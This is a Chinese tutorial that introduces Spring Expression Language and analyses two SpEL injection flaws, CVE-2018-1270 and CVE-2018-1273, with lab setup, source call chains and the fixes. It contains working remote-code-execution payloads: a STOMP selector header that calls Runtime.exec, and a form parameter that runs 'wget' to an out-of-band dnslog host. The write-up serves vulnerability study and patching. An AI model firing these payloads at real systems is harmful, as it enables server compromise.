合规国际互联网加速 OSASE为企业客户提供高速稳定SD-WAN国际加速解决方案。 广告
[TOC] ## SpEL介绍 * Spring表达式语言(简称 SpEL,全称Spring Expression Language)**是一种功能强大的表达式语言,支持在运行时查询和操作对象图**。它语法类似于OGNL,MVEL和JBoss EL,在方法调用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Spring产品组合中表达评估的基础,但它并不直接与Spring绑定,可以独立使用。 * 基本用法: SpEL调用流程 : 1.新建解析器 2.解析表达式 3.注册变量(可省,在取值之前注册) 4.取值 * **示例1:不注册新变量的用法** ``` ExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression exp = parser.parseExpression("'Hello World'.concat('!')");//解析表达式 System.out.println( exp.getValue() );//取值,Hello World! ``` * **示例2:自定义注册加载变量的用法** ``` public class Spel { public String name = "何止"; public static void main(String[] args) { Spel user = new Spel(); StandardEvaluationContext context=new StandardEvaluationContext(); context.setVariable("user",user);//通过StandardEvaluationContext注册自定义变量 SpelExpressionParser parser = new SpelExpressionParser();//创建解析器 Expression expression = parser.parseExpression("#user.name");//解析表达式 System.out.println( expression.getValue(context).toString() );//取值,输出何止 } } ``` * **除了expression.getValue之外,expression.setValue也是可以出发表达式执行的** ## CVE-2018-1270 ### 满足版本 * Spring Framework 5.0 to 5.0.4 * Spring Framework 4.3 to 4.3.14 * 更老版本 ### 环境搭建 下载带有漏洞的版本 ``` git clone https://github.com/spring-guides/gs-messaging-stomp-websocket cd ./gs-messaging-stomp-websocket git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3 ``` complete文件夹下是一个完整的SpringBoot项目,使用idea打开,修改src/main/resources/static/app.js中的connect函数 ``` function connect() { var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')"}; var socket = new SockJS('/gs-guide-websocket'); stompClient = Stomp.over(socket); stompClient.connect({}, function (frame) { setConnected(true); console.log('Connected: ' + frame); stompClient.subscribe('/topic/greetings', function (greeting) { showGreeting(JSON.parse(greeting.body).content); },header); }); } ``` 增加了一个header头部,其中指定了selector,其值即payload ### 运行 使用idea运行项目,然后打开网页,通过如下步骤触发: 1、点击“Connect”按钮 2、随便输入一些什么,点击“Send”发送,触发 * 这是后有人会说了,我都能修改它源码了,还要什么命令执行,其实不是的,**app.js是返回给用户使用的,用户可以随意修改,比如我们通过浏览器修改app.js如下** ![](https://img.kancloud.cn/aa/74/aa741efa16dd2d2c34452c652e3c0b61_935x359.png) 然后依然可以触发 ![](https://img.kancloud.cn/6b/4c/6b4c0423c41bb038acd6515bfd671f21_842x301.png) ### 分析 * 点击Connect按钮时,会通过下面函数添加恶意头 ``` //org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#addSubscriptionInternal protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) { Expression expression = null; MessageHeaders headers = message.getHeaders(); String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(this.getSelectorHeaderName(), headers); if (selector != null) { try { expression = this.expressionParser.parseExpression(selector); this.selectorHeaderInUse = true; if (this.logger.isTraceEnabled()) { this.logger.trace("Subscription selector: [" + selector + "]"); } } catch (Throwable var9) { if (this.logger.isDebugEnabled()) { this.logger.debug("Failed to parse selector: " + selector, var9); } } } this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression); this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId); } ``` * 然后我们点击send按钮,它会被sendMessageToSubscribers函数捕获,其中message保存了此次连接/会话的相关信息 ``` //org.springframework.messaging.simp.broker.SimpleBrokerMessageHandler#sendMessageToSubscribers protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) { MultiValueMap<String, String> subscriptions = this.subscriptionRegistry.findSubscriptions(message); if (!subscriptions.isEmpty() && this.logger.isDebugEnabled()) { this.logger.debug("Broadcasting to " + subscriptions.size() + " sessions."); } ... ``` * 跟进findSubscriptions函数,做了一些关于headers的处理 ``` public final MultiValueMap<String, String> findSubscriptions(Message<?> message) { MessageHeaders headers = message.getHeaders(); SimpMessageType type = SimpMessageHeaderAccessor.getMessageType(headers); if (!SimpMessageType.MESSAGE.equals(type)) { throw new IllegalArgumentException("Unexpected message type: " + type); } else { String destination = SimpMessageHeaderAccessor.getDestination(headers); if (destination == null) { if (this.logger.isErrorEnabled()) { this.logger.error("No destination in " + message); } return EMPTY_MAP; } else { return this.findSubscriptionsInternal(destination, message); } } } ``` * 跟进findSubscriptionsInternal函数 ``` protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) { MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message); return this.filterSubscriptions(result, message); } ``` * 跟进filterSubscriptions函数,也就是出发漏洞的函数 ``` private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) { if (!this.selectorHeaderInUse) { return allMatches; } else { EvaluationContext context = null; MultiValueMap<String, String> result = new LinkedMultiValueMap(allMatches.size()); Iterator var5 = allMatches.keySet().iterator(); label59: while(var5.hasNext()) { String sessionId = (String)var5.next(); Iterator var7 = ((List)allMatches.get(sessionId)).iterator(); while(true) { while(true) { String subId; DefaultSubscriptionRegistry.Subscription sub; do { DefaultSubscriptionRegistry.SessionSubscriptionInfo info; do { if (!var7.hasNext()) { continue label59; } subId = (String)var7.next(); info = this.subscriptionRegistry.getSubscriptions(sessionId); } while(info == null); sub = info.getSubscription(subId); } while(sub == null); Expression expression = sub.getSelectorExpression(); if (expression == null) { result.add(sessionId, subId); } else { if (context == null) { context = new StandardEvaluationContext(message); context.getPropertyAccessors().add(new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor()); } try { if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) { result.add(sessionId, subId); } ... ``` * 函数中,通过info.getSubscription(subId);将恶意payload取出来,然后在expression.getValue(context, Boolean.class)中触发 ### 修复 * 将之前的StandardEvaluationContext替换成了SimpleEvaluationContext * SimpleEvaluationContext对于权限的限制更为严格,能够进行的操作更少。只支持一些简单的Map结构 ``` ... private static final EvaluationContext messageEvalContext = SimpleEvaluationContext.forPropertyAccessors(new PropertyAccessor[]{new DefaultSubscriptionRegistry.SimpMessageHeaderPropertyAccessor()}).build(); ... Boolean result = (Boolean)expression.getValue(messageEvalContext, message, Boolean.class); ``` ## CVE-2018-1273 ### 版本 ``` Spring Data Commons 1.13 to 1.13.10 Spring Data Commons 2.0 to 2.0.5 ``` ### 搭建环境 ``` git clone https://github.com/vulhub/vulhub.git cd ./vulhub/spring/CVE-2018-1273 docker-compose up -d ``` ### 运行 * 打开http://127.0.0.1:8080/users,随便写点什么,发送 ![](https://img.kancloud.cn/04/ac/04ac4c397f79ea3d3dcfd932d049aa5d_889x585.png) * 抓包,发送payload ``` POST http://127.0.0.1:8080/users?page=&size=5 HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 134 Origin: http://127.0.0.1:8080 Connection: close Referer: http://127.0.0.1:8080/users Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("wget http://z0w11n.dnslog.cn")]=&password=&repeatedPassword= ``` ![](https://img.kancloud.cn/15/97/159793f3fadad434c46aeafd7a4ac981_842x249.png) ### 分析 * 漏洞触发点 ``` public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException { if (!this.isWritableProperty(propertyName)) { throw new NotWritablePropertyException(this.type, propertyName); } else { StandardEvaluationContext context = new StandardEvaluationContext(); context.addPropertyAccessor(new MapDataBinder.MapPropertyAccessor.PropertyTraversingMapAccessor(this.type, this.conversionService)); context.setTypeConverter(new StandardTypeConverter(this.conversionService)); context.setTypeLocator((typeName) -> { throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, new Object[]{typeName}); }); context.setRootObject(this.map); Expression expression = PARSER.parseExpression(propertyName); PropertyPath leafProperty = this.getPropertyPath(propertyName).getLeafProperty(); TypeInformation<?> owningType = leafProperty.getOwningType(); TypeInformation<?> propertyType = leafProperty.getTypeInformation(); propertyType = propertyName.endsWith("]") ? propertyType.getActualType() : propertyType; if (propertyType != null && this.conversionRequired(value, propertyType.getType())) { PropertyDescriptor descriptor = BeanUtils.getPropertyDescriptor(owningType.getType(), leafProperty.getSegment()); if (descriptor == null) { throw new IllegalStateException(String.format("Couldn't find PropertyDescriptor for %s on %s!", leafProperty.getSegment(), owningType.getType())); } MethodParameter methodParameter = new MethodParameter(descriptor.getReadMethod(), -1); TypeDescriptor typeDescriptor = TypeDescriptor.nested(methodParameter, 0); if (typeDescriptor == null) { throw new IllegalStateException(String.format("Couldn't obtain type descriptor for method parameter %s!", methodParameter)); } value = this.conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor); } try { expression.setValue(context, value); } catch (SpelEvaluationException var11) { throw new NotWritablePropertyException(this.type, propertyName, "Could not write property!", var11); } } } ``` 为什么会跑到这呢,先要了解一下HandlerMethod类,HandlerMethod及子类主要用于封装方法调用相关信息,子类还提供调用,参数准备和返回值处理的职责。 * HandlerMethod 封装方法定义相关的信息,如类,方法,参数等. * 使用场景:HandlerMapping时会使用 * InvocableHandlerMethod 添加参数准备,方法调用功能 * 使用场景:执行使用@ModelAttribute注解会使用 * ServletInvocableHandlerMethod 添加返回值处理职责,ResponseStatus处理 使用场景:执行http相关方法会使用,比如调用处理执行 从路由入口可以知道,users使用了ModelAttribute注解 ``` @RequestMapping({"/users"}) class UserController { private final UserManagement userManagement; @ModelAttribute("users") public Page<User> users(@PageableDefault(size = 5) Pageable pageable) { return this.userManagement.findAll(pageable); } @RequestMapping( method = {RequestMethod.POST} ) public Object register(UserController.UserForm userForm, BindingResult binding, Model model) { userForm.validate(binding, this.userManagement); if (binding.hasErrors()) { return "users"; } else { this.userManagement.register(new Username(userForm.getUsername()), Password.raw(userForm.getPassword())); RedirectView redirectView = new RedirectView("redirect:/users"); redirectView.setPropagateQueryParams(true); return redirectView; } } ``` * 当访问上面路由的时候触发了下面org.springframework.web.method.support.InvocableHandlerMethod#getMethodArgumentValues ``` private Object[] getMethodArgumentValues(NativeWebRequest request, @Nullable ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { MethodParameter[] parameters = this.getMethodParameters(); Object[] args = new Object[parameters.length]; for(int i = 0; i < parameters.length; ++i) { MethodParameter parameter = parameters[i]; parameter.initParameterNameDiscovery(this.parameterNameDiscoverer); args[i] = this.resolveProvidedArgument(parameter, providedArgs); if (args[i] == null) { if (this.argumentResolvers.supportsParameter(parameter)) { try { args[i] = this.argumentResolvers.resolveArgument(parameter, mavContainer, request, this.dataBinderFactory); } catch (Exception var9) { if (this.logger.isDebugEnabled()) { this.logger.debug(this.getArgumentResolutionErrorMessage("Failed to resolve", i), var9); } throw var9; } } else if (args[i] == null) { throw new IllegalStateException("Could not resolve method parameter at index " + parameter.getParameterIndex() + " in " + parameter.getExecutable().toGenericString() + ": " + this.getArgumentResolutionErrorMessage("No suitable resolver for", i)); } } } return args; } ``` * 跟进org.springframework.web.method.support.HandlerMethodArgumentResolverComposite#resolveArgument ``` public Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer, NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception { HandlerMethodArgumentResolver resolver = this.getArgumentResolver(parameter); if (resolver == null) { throw new IllegalArgumentException("Unknown parameter type [" + parameter.getParameterType().getName() + "]"); } else { return resolver.resolveArgument(parameter, mavContainer, webRequest, binderFactory); } } ``` * 然后进入org.springframework.web.method.annotation.ModelAttributeMethodProcessor#resolveArgument ``` public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer, NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception { Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer"); Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory"); String name = ModelFactory.getNameForParameter(parameter); ModelAttribute ann = (ModelAttribute)parameter.getParameterAnnotation(ModelAttribute.class); if (ann != null) { mavContainer.setBinding(name, ann.binding()); } Object attribute = null; BindingResult bindingResult = null; if (mavContainer.containsAttribute(name)) { attribute = mavContainer.getModel().get(name); } else { try { attribute = this.createAttribute(name, parameter, binderFactory, webRequest); } catch (BindException var10) { if (this.isBindExceptionRequired(parameter)) { throw var10; } ... ``` * 跟进org.springframework.data.web.ProxyingHandlerMethodArgumentResolver#createAttribute ``` protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception { MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), (ConversionService)this.conversionService.getObject()); binder.bind(new MutablePropertyValues(request.getParameterMap())); return this.proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget()); } ``` * 跟进org.springframework.validation.DataBinder#bind和dobind ``` public void bind(PropertyValues pvs) { MutablePropertyValues mpvs = pvs instanceof MutablePropertyValues ? (MutablePropertyValues)pvs : new MutablePropertyValues(pvs); this.doBind(mpvs); } protected void doBind(MutablePropertyValues mpvs) { this.checkAllowedFields(mpvs); this.checkRequiredFields(mpvs); this.applyPropertyValues(mpvs); } ``` * 跟进org.springframework.validation.DataBinder#applyPropertyValues ``` protected void applyPropertyValues(MutablePropertyValues mpvs) { try { this.getPropertyAccessor().setPropertyValues(mpvs, this.isIgnoreUnknownFields(), this.isIgnoreInvalidFields()); } catch (PropertyBatchUpdateException var7) { PropertyAccessException[] var3 = var7.getPropertyAccessExceptions(); int var4 = var3.length; for(int var5 = 0; var5 < var4; ++var5) { PropertyAccessException pae = var3[var5]; this.getBindingErrorProcessor().processPropertyAccessException(pae, this.getInternalBindingResult()); } } } ``` * 跟进org.springframework.beans.AbstractPropertyAccessor#setPropertyValues ``` public void setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid) throws BeansException { List<PropertyAccessException> propertyAccessExceptions = null; List<PropertyValue> propertyValues = pvs instanceof MutablePropertyValues ? ((MutablePropertyValues)pvs).getPropertyValueList() : Arrays.asList(pvs.getPropertyValues()); Iterator var6 = propertyValues.iterator(); while(var6.hasNext()) { PropertyValue pv = (PropertyValue)var6.next(); try { this.setPropertyValue(pv); } catch (NotWritablePropertyException var9) { if (!ignoreUnknown) { throw var9; } ... ``` * 跟进org.springframework.beans.AbstractPropertyAccessor#setPropertyValue(org.springframework.beans.PropertyValue) ``` public void setPropertyValue(PropertyValue pv) throws BeansException { this.setPropertyValue(pv.getName(), pv.getValue()); } ``` * 最后就进入了前文提到的漏洞触发函数org.springframework.data.web.MapDataBinder.MapPropertyAccessor#setPropertyValue ### 修复 跟第一个漏洞一样,将StandardEvaluationContext替换成了SimpleEvaluationContext